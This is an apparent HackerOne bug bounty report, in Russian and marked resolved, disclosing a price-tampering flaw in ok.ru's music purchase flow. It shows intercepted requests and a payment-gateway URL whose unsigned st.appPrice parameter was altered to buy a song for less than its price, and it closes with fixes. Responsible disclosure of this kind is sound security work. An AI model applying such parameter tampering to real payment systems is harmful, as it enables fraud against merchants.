Покупка песни дешевле, чем она стоит.
Unknown
Vulnerability Details
Итак, часть песен в приложении можно купить. Нажимая на кнопку купить, происходит запрос к серверу (обрезано, для удобства):
>GET /isDownloaded;jsessionid=DZSUq1yT_UMNFNcYk5-mZ10DGJbUCoNYFHRUcNNwINHoSrDkkkf4gInosiPimoqGaysNvWs7GV7fnOMGgfsbCA.hHaqWq9PyS8b9PmEoYf_cA?tid=90920917758231
В ответ получаем:
>{"title":"ШаÑ
еÑезада","trackId":90920917758231,"price":10,"copyrightOwnerName":"Digital Project","isBought":false,"copyrightOwnerId":22,"image":null,"artist":"ÐаÑали"}
Видно что песня, ещё не куплена: "isBought":false
И что цена у неё: "price":10
Настроив автоматическую замену получаемого контента (в burp это довольно легко сделать, см, скриншот) меняем цену получаемую от сервера на 1. Нажимаем, "Купить". Происходит открытие платёжного гейта(запрос в бэкграунде):
>https://paymentnew.ok.ru/dk?st.cmd=richPayment&st.reqId=-lqbcaRr5Rw-lvBTEc_nro7Ema4SvW7OY1hv-5Ce_LFQdsbKnrYg4HIxuoCH0UvKY35Q4ndQdhRXA_Z3x7ummPimUcD-g664F4cI5Wj7kEd-4vrFEIGUpnDZPtv3SJNA&st.timestamp=1437680542328&st.appName=0L_QtdGB0L3RjyDQndCw0YLQsNC70LggLSDQqNCw0YXQtdGA0LXQt9Cw0LTQsA**&st.appCode=90920917758231&st.currency=OK&st.appPrice=1&st.callback=true&st.srv=22
Уязвим параметр st.appPrice, его изменение в урле никак не влияет не целостность запроса (поменяем на 2):
> https://paymentnew.ok.ru/dk?st.cmd=richPayment&st.reqId=-lqbcaRr5Rw-lvBTEc_nro7Ema4SvW7OY1hv-5Ce_LFQdsbKnrYg4HIxuoCH0UvKY35Q4ndQdhRXA_Z3x7ummPimUcD-g664F4cI5Wj7kEd-4vrFEIGUpnDZPtv3SJNA&st.timestamp=1437680542328&st.appName=0L_QtdGB0L3RjyDQndCw0YLQsNC70LggLSDQqNCw0YXQtdGA0LXQt9Cw0LTQsA**&st.appCode=90920917758231&st.currency=OK&st.appPrice=2&st.callback=true&st.srv=22
Жмём перейти к оплате - я оплачивал вебманями, но не думаю, что это имеет значения. Покупаем 2 Ок за 2 рубля - видим в нотификации "Вы получили 2 OK." И в итоге в разделе "Музыка" в подразделе "Мои покупки" искомая песня за 2 ОК.
Что явно влияет на целостность приложения с финансовой точки зрения. Параметр st.appPrice должен:
- входить в параметры которые используются для подписи запроса.
- и проверяться на стороне сервера на соответствие запрошенному продукту.
Actions
View on HackerOneReport Stats
- Report ID: 78219
- State: Closed
- Substate: resolved
- Upvotes: 3